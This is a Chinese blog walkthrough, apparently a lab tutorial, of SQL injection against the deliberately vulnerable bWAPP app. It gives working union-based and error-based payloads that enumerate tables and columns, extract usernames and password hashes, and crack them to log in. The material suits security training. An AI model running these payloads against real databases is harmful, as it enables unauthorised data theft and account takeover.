sqli-labs注入方法总结

文章目录

一、测试流程

1.有报错和回显时的注入

如果有回显(F12看respone)可以用union,然后逐个测试几个显示位,然后替换显示位为我们想看的数据,如
先验证是否有报错注入
2’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e)#
在这里插入图片描述

Iron Man’ union select 1,2,3,4,5,6,7#,测试发现有7列
在这里插入图片描述

然后替换数据
Iron Man’ union select 1,user(),database(),version(),4,5,6#
在这里插入图片描述

拿到数据库名之后接下来拿表名
原始语句是
select table_name FROM information_schema.tables WHERE table_schema = ‘bwapp’;
在这里插入图片描述

或者合并起来
select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘bwapp’ limit 0,1;
在这里插入图片描述

注入语句是:
Iron Man’ union select 1,user(),database(),version(),(select table_name FROM information_schema.tables WHERE table_schema = ‘bwapp’ limit 0,1),5,6#
在这里插入图片描述

修改limit后面的值可以看其他表名
Iron Man’ union select 1,user(),database(),version(),(select table_name FROM information_schema.tables WHERE table_schema = ‘bwapp’ limit 3,1),5,6#
在这里插入图片描述

接下来取users的列名
原始语句是
select column_name from information_schema.columns where table_name=‘users’ and table_schema=“bwapp”;
在这里插入图片描述

合并后
select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“bwapp”;
在这里插入图片描述

注入语句是:
Iron Man’ union select 1,user(),database(),version(),(select column_name from information_schema.columns where table_name=‘users’ and table_schema=“bwapp” limit 2,1),5,6#
在这里插入图片描述

接下来取用户名和密码
原始语句大家都知道
select login,password from users;
在这里插入图片描述

注入语句是
Iron Man’ union select 1,user(),database(),(select login from users limit 0,1),(select password from users limit 0,1),5,6#
在这里插入图片描述

接下来对拿到的加密密码进行解密
使用cmd5解密结果如下
在这里插入图片描述

然后用A.I.M./bug登陆试下
在这里插入图片描述
在这里插入图片描述

登录成功,这样才算一次完整的渗透

2.注入点判断

一般使用单引号’ 判断是否存在注入,看是否存在报错或是其他异常

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值